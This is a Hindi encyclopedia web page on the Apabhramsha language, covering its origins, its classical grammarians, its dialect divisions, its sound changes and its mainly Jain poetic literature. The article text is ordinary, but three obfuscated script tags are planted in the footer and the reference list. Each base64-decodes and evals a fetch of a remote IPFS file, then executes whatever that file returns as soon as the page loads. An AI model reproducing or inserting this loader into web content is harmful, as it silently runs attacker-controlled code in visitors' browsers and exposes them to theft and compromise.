अपभ्रंश भाषा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अपभ्रंश भाषा मध्य भारतीय-आर्य भाषाओं (लगभग 12 वीं शताब्दी) के तीसरे और अंतिम चरण की साहित्यिक भाषा है।

  • साहित्यिक भाषा होने के बावज़ूद अपभ्रंश में ऐसे परिवर्तन परिलक्षित हुए हैं, जो उत्तरी भारत में बोली जाने वाली बोलियों में हुए होंगे।
  • मध्य भारतीय-आर्य भाषा में संस्कृत से काफ़ी स्वरवैज्ञानिक और रूपात्मक अंतर दृष्टिगोचर होता है। रूढ़ व्याकरणवादी ऐसे सभी अंतरों को अपभ्रंश की संज्ञा देते हैं, जिसका अर्थ विपथ होना है। आरंभिक काल में इस प्रचलन को भ्रष्ट माना जाता था। शौरसेनी प्राकृत को अपभ्रंश का आरंभिक चरण माना जाता है। जब साहित्यिक उपयोग के लिए प्राकृत को औपचारिक रूप दिया गया (सूत्रबद्ध किया गया), तो इसके बोलीगत प्रकारों को अपभ्रंश के रूप में पहचाना जाने लगा।
  • तीसरी शताब्दी में भरत मुनि ने नाट्य विद्या पर अपने ग्रंथ नाट्यशास्त्र में दो प्रकार की स्थानीय बोलियों का उल्लेख किया है, प्राकृत (भाषाएँ) और उसके भ्रंश (विभाषाएँ)।
  • सातवीं शताब्दी के कवि दंडी ने आभीर जैसी काव्यात्मक भाषाओं को अपभ्रंश कहा है। इस तरह इस निष्कर्ष पर पहुँचा जा सकता है, कि तीसरी शताब्दी में निश्चित रूप से अपभ्रंश के नाम से ज्ञात बोलियाँ थीं, जो क्रमशः साहित्यिक स्तर तक विकसित हुईं।
  • छठी शताब्दी में भामह ने कविता को संस्कृत, प्राकृत तथा अपभ्रंश के रूप में वर्गीकृत किया। छठी शताब्दी तक अपभ्रंश को साहित्यिक भाषा के रूप में मान्यता मिल चुकी थी और यह एक रूढ़िबद्ध शैली में क़ायम रही, यहाँ तक कि नवीन भारतीय-आर्य भाषाओं के साथ भी इसका अस्तित्व बना रहा।
  • अब भी अपभ्रंश सिर्फ़ कविता की भाषा के रूप में ज्ञात है, क्योंकि कोई गद्य या नाट्य रचना इस भाषा में नहीं है।
  • अधिकांश वर्तमान साहित्य जैन पौराणिक कथाओं और किंवदंतियों पर आधारित है। इस भाषा की कुछ शास्त्रीय रचनाएँ हैं, आठवीं शताब्दी में स्वयंभूदेव द्वारा रचित, रामायण का जैन संस्करण पउम चरिउ; 10 वीं शताब्दी के पुष्पदंत द्वारा लिखित महापुराण (63 जैन, चरित्रों के जीवन पर आधारित) और नाय कुमार चरिउ; 10वीं शताब्दी के धनपाल की भविसयत्तकहा; और 11वीं शताब्दी के पद्मकीर्ति की पसनाह चरिउ है।
  • दोहा छंद, जिनमें से प्रत्येक अपने आप में संपूर्ण है और एक स्वतंत्र अवधारणा को मूर्तिमान करता है, अपभ्रंश का लोकप्रिय साहित्यिक स्वरूप है। दोहों के कुछ उल्लेखनीय संकलन हैं, सातवीं शताब्दी में देवसेन की रचना सवय- धम्मदोहा और आठवीं शताब्दी में कान्ह की रचना दोहा कोश।
  • हेमचंद्र ने 12 वीं शताब्दी में प्राकृत व्याकरण पर अपने ग्रंथ में अपभ्रंश की व्यापक विवेचना की है। कहा जाता है कि उनकी टिप्पणियाँ पश्चिमी बोलियों पर आधारित थीं। संभावना है कि इन्हीं बोलियों से अपभ्रंश काव्य का आरंभ हुआ होगा।

अपभ्रंश के कवियों ने अपनी भाषा को केवल 'भासा', 'देसी भासा' अथवा 'गामेल्ल भासा' (ग्रामीण भाषा) कहा है, परंतु संस्कृत के व्याकरणों और अलंकारग्रंथों में उस भाषा के लिए प्राय: 'अपभ्रंश' तथा कहीं-कहीं 'अपभ्रष्ट' संज्ञा का प्रयोग किया गया है। इस प्रकार अपभ्रंश नाम संस्कृत के आचार्यों का दिया हुआ है, जो आपातत:तिरस्कारसूचक प्रतीत होता है। महाभाष्यकार पतंजलि ने जिस प्रकार 'अपभ्रंश' शब्द का प्रयोग किया है उससे पता चलता है कि संस्कृत या साधु शब्द के लोकप्रचलित विविध रूप अपभ्रंश या अपशब्द कहलाते थे। इस प्रकार प्रतिमान से च्युत, स्खलित, भ्रष्ट अथवा विकृत शब्दों को अपभ्रंश की संज्ञा दी गई और आगे चलकर यह संज्ञा पूरी भाषा के लिए स्वीकृत हो गई। दंडी (सातवीं शती) के कथन से इस तथ्य की पुष्टि होती है। उन्होंने स्पष्ट लिखा है कि शास्त्र अर्थात्‌ व्याकरण शास्त्र में संस्कृत से इतर शब्दों को अपभ्रंश कहा जाता है; इस प्रकार पालि-प्राकृत-अपभ्रंश सभी के शब्द 'अपभ्रंश' संज्ञा के अंतर्गत आ जाते हैं, फिर भी पालि प्राकृत को 'अपभ्रंश' नाम नहीं दिया गया।

दंडी ने इस बात को स्पष्ट करते हुए आगे कहा है कि काव्य में आभीर आदि बोलियों को अपभ्रंश नाम से स्मरण किया जाता है; इससे यह निष्कर्ष निकाला जा सकता है कि अपभ्रंश नाम उसी भाषा के लिए रूढ़ हुआ जिसके शब्द संस्कृतेतर थे और साथ ही जिसका व्याकरण भी मुख्यत: आभीरादि लोक बोलियों पर आधारित था। इसी अर्थ में अपभ्रंश पालि-प्राकृत आदि से विशेष भिन्न थी।

अपभ्रंश के संबंध में प्राचीन अलंकारग्रंथों में दो प्रकार के परस्पर विरोधी मत मिलते हैं। एक ओर रुद्रट के काव्यालंकार (2-12) के टीकाकार नमिसाधु (106 ई.) अपभ्रंश को प्राकृत कहते हैं तो दूसरी ओर भामह (छठी शती), दंडी (सातवीं शती) आदि आचार्य अपभ्रंश का उल्लेख प्राकृत से भिन्न स्वतंत्र काव्यभाषा के रूप में करते हैं। इन विरोधी मतों का समाधान करते हुए याकोगी (भविस्सयत्त कहा की जर्मन भूमिका, अंग्रेजी अनुवाद, बड़ौदा ओरिएंटल इंस्टीट्यूट जर्नल, जून 1955) ने कहा है कि शब्दसमूह की दृष्टि से अपभ्रंश प्राकृत के निकट है और व्याकरण की दृष्टि से प्राकृत से भिन्न भाषा है।

इस प्रकार अपभ्रंश के शब्दकोश का अधिकांश, यहाँ तक कि नब्बे प्रतिशत, प्राकृत से गृहित है और व्याकरणिक गठन प्राकृतिक रूपों से अधिक विकसित तथा आधुनिक भाषाओं के निकट है। प्राचीन व्याकरणों के अपभ्रंश संबंधी विचारों के क्रमबद्ध अध्ययन से पता चलता है कि छह सौ वर्षों में अपभ्रंश का क्रमश: विकास हुआ। भरत (तीसरी शर्त) ने इसे शाबर, आभीर, गुर्जर आदि की भाषा बताया है। चंड (छठी शती) ने 'प्राकृतलक्षणम' में इसे विभाषा कहा है और उसी के आसपास बलभी के राज ध्रुवसेन द्वितीय ने एक ताम्रपट्ट में अपने पिता का गुणगान करते हुए उनहें संस्कृत और प्राकृत के साथ ही अपभ्रंश प्रबंधरचना में निपुण बताया है। अपभ्रंश के काव्यसमर्थ भाषा होने की पुष्टि भामह और दंडी जैसे आचार्यों द्वारा आगे चलकर सातवीं शती में हो गई। काव्यमीमांसाकार राजशेखर (दसवीं शती) ने अपभ्रंश कवियों को राजसभा में सम्मानपूर्ण स्थान देकर अपभ्रंश के राजसम्मान की ओर संकेत किया तो टीकाकार पुरुषोत्तम (11वीं शती) ने इसे शिष्टवर्ग की भाषा बतलाया। इसी समय आचार्य हेमचंद्र ने अपभ्रंश का विस्तृत और सोदाहरण व्याकरण लिखकर अपभ्रंश भाषा के गौरवपूर्ण पद की प्रतिष्ठा कर दी। इस प्रकार जो भाषा तीसरी शती में आभीर आदि जातियों की लोकबोली थी वह छठी शती से साहित्यिक भाषा बन गई और ११वीं शती तक जाते-जाते शिष्टवर्ग की भाषा तथा राजभाषा हो गई।

अपभ्रंश के क्रमश: भौगोलिक विस्तारसूचक उल्लेख भी प्राचीन ग्रंथों में मिलते हैं। भरत के समय (तीसरी शती) तक यह पश्चिमोत्तर भारत की बोली थी, परंतु राजशेखर के समय (दसवीं शती) तक पंजाब, राजस्थान और गुजरात अर्थात्‌ समूचे पश्चिमी भारत की भाषा हो गई। साथ ही स्वयंभू, पुष्पदंत, धनपाल, कनकामर, सरहपा, कन्हपा आदि की अपभ्रंश रचनाओं से प्रमाणित होता है कि उस समय यह समूचे उत्तर भारत की साहित्यिक भाषा हो गई थी।

वैयाकरणों ने अपभ्रंश के भेदों की भी चर्चा की है। मार्कंडेय (17वीं शती) के अनुसार इसके नागर, उपनागर और ब्राचड तीन भेद थे और नमिसाधु (११वीं शती) के अनुसार उपनागर, आभीर और ग्राम्य। इन नामों से किसी प्रकार के क्षेत्रीय भेद का पता नहीं चलता। विद्वानों ने आभीरों को व्रात्य कहा है, इस प्रकार 'ब्राचड' का संबंध 'व्रात्य' से माना जा सकता है। ऐसी स्थिति में आभीरी और ब्राचड एक ही बोली के दो नाम हुए। क्रमदीश्वर (13वीं शती) ने नागर अपभ्रंश और शसक छंद का संबंध स्थापित किया है। शसक छंदों की रचना प्राय: पश्चिमी प्रदेशों में ही हुई है। इस प्रकार अपभ्रंश के सभी भेदोपभेद पश्चिमी भारत से ही संबद्ध दिखाई पड़ते हैं। वस्तुत: साहित्यिक अपभ्रंश अपने परिनिष्ठित रूप में पश्चिमी भारत की ही भाषा थी, परंतु अन्य प्रदेशों में प्रसार के साथ-साथ उसमें स्वभावत: क्षेत्रीय विशेषताएँ भी जुड़ गईं। प्राप्त रचनाओं के आधार पर विद्वानों ने पूर्वी और दक्षिणी दो अन्य क्षेत्रीय अपभ्रंशों के प्रचलन का अनुमान लगाया है।

अपभ्रंश भाषा का ढाँचा लगभग वही है जिसका विवरण हेमचंद्र के 'सिद्धहेमशबदानुशासनम्‌' के आठवें अध्याय के चतुर्थ पाद में मिलता है। ध्वनिपरिर्वान की जिन प्रवृत्तियों के द्वारा संस्कृत शब्दों के तद्भव रूप प्राकृत में प्रचलित थे, वही प्रवृतियाँ अधिकांशत: अपभ्रंश शब्दसमूह में भी दिखाई पड़ती है, जैसे अनादि और असंयुक्त क,ग,च,ज,त,द,प,य, और व का लोप तथा इनके स्थान पर उद्वृत स्वर अ अथवा य श्रुति का प्रयोग। इसी प्रकार प्राकृत की तरह ('क्त', 'क्व', 'द्व') आदि संयुक्त व्यंजनों के स्थान पर अपभ्रंश में भी 'क्त', 'क्क', 'द्द' आदि द्वित्तव्यंजन होते थे। परंतु अपभ्रंश में क्रमश: समीतवर्ती उद्वृत स्वरों को मिलाकर एक स्वर करने और द्वित्तव्यंजन को सरल करके एक व्यंजन सुरक्षित रखने की प्रवृत्ति बढ़ती गई। इसी प्रकार अपभ्रंश में प्राकृत से कुछ और विशिष्ट ध्वनिपरिवर्तन हुए। अपभ्रंश कारकरचना में विभक्तियाँ प्राकृत की अपेक्षा अधिक घिसी हुई मिलती हैं, जैसे तृतीया एकवचन में 'एण' की जगह 'एं' और षष्ठी एकवचन में 'स्स' के स्थान पर 'ह'। इसके अतिरिक्त अपभ्रंश निर्विभक्तिक संज्ञा रूपों से भी कारकरचना की गई। सहुं, केहिं, तेहिं, देसि, तणेण, केरअ,मज्झि आदि परसर्ग भी प्रयुक्त हुए। कृदंतज क्रियाओं के प्रयोग की प्रवृत्ति बढ़ी और संयुक्त क्रियाओं के निर्माण का आरंभ हुआ। संक्षेप में अपभ्रंश ने नए सुबंतों और तिङंतों की सृष्टि की। अपभ्रंश साहित्य की प्राप्त रचनाओं का अधिकांश जैन काव्य है अर्थात्‌ रचनाकार जैन थे और प्रबंध तथा मुक्तक सभी काव्यों की वस्तु जैन दर्शन तथा पुराणों से प्रेरित है। सबसे प्राचीन और श्रेष्ठ कवि स्वयंभू (नवीं शती) हैं जिन्होंने राम की कथा को लेकर 'पउम-चरिउ' तथा 'महाभारत' की रचना की है। दूसरे महाकवि पुष्पदंत (दसवीं शती) हैं जिन्होंने जैन परंपरा के त्रिषष्ठि शलाकापुरुषों का चरित 'महापुराण' नामक विशाल काव्य में चित्रित किया है। इसमें राम और कृष्ण की भी कथा सम्मिलित है। इसके अतिरिक्त पुष्पदंत ने 'णायकुमारचरिउ' और 'जसहरचरिउ' जैसे छोटे-छोटे दो चरितकाव्यों की भी रचना की है। तीसरे लोकप्रिय कवि धनपाल (दसवीं शती) हैं जिनकी 'भविस्सयत्त कहा' श्रुतपंचमी के अवसर पर कही जानेवाली लोकप्रचलित प्राचीन कथा है। कनकामर मुनि (11वीं शती) का 'करकंडुचरिउ' भी उल्लेखनीय चरितकाव्य है।

अपभ्रंश का अपना दुलारा छंद दोहा है। जिस प्रकार प्राकृत को 'गाथा' के कारण 'गाहाबंध' कहा जाता है, उसी प्रकार अपभ्रंश को 'दोहाबंध'। फुटकल दोहों में अनेक ललित अपभ्रंश रचनाएँ हुई हैं, जो इंदु (आठवीं शती) का 'परमात्मप्रकाश' और 'योगसार', रामसिंह (दसवीं शती) का 'पाहुड दोहा', देवसेन (दसवीं शती) का 'सावयधम्म दोहा' आदि जैन मुनियों की ज्ञानोपदेशपरक रचनाएँ अधिकाशंत: दोहा में हैं। प्रबंधचिंतामणि तथा हेमचंद्ररचित व्याकरण के अपभ्रंश दोहों से पता चलता है कि श्रृंगार और शौर्य के ऐहिक मुक्तक भी काफी संख्या में लिखे गए हैं। कुछ रासक काव्य भी लिखे गए हैं जिनमें कुछ तो 'उपदेश रसायन रास' की तरह नितांत धार्मिक हैं, परंतु अद्दहमाण (13वीं शती) के संदेशरासक की तरह श्रृंगार के सरस रोमांस काव्य भी लिखे गए हैं।

जैनों के अतिरिक्त बौद्ध सिद्धों ने भी अपभ्रंश में रचना की है जिनमें सरहपा, कन्हपा आदि के दोहाकोश महत्वपूर्ण हैं। अपभ्रंश गद्य के भी नमूने मिलते हैं। गद्य के टुकड़े उद्योतन सूरि (सातवीं शती) की 'कुवलयमाल कहा' में यत्रतत्र बिखरे हुए हैं।

नवीन खोजों से जो सामग्री सामने आ रही है, उससे पता चलता है कि अपभ्रंश का साहित्य अत्यंत समृद्ध है। डेढ़ सौ के आसपास अपभ्रंश ग्रंथ प्राप्त हो चुके हैं जिनमें से लगभग पचास प्रकाशित हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 135 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>